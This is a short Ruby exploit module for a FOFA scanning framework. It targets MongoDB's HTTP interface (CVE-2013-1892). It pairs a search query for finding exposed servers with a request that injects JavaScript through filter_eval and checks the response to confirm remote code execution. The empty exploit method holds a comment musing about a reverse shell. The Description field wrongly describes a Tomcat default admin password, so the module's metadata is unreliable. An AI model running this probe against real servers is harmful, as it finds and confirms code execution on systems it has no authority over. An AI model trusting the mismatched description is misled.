require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'mongodb execute js',
      'Description' => %q{
Default admin account of tomcat administraotr: admin/htoa. Backdoor?
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'Mongodb',
      'Homepage' => 'http://www.mongodb.org/',
      'References' =>
          [
              ['CVE', '2013-1892'],
              "http://2012.zeronights.org/includes/docs/Firstov%20-%20Attacking%20MongoDB.pdf"
          ],
      'DisclosureDate'=> '2014-07-01',
      'FofaQuery'=>'body="<a href=\"/_replSet\">Replica set status</a></p>"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/admin/$cmd/?filter_eval=function(){val=db.version(); return val;}&limit=1',
                    data: ''
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: 'total_rows'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
   #todo 反弹shell？
  end
end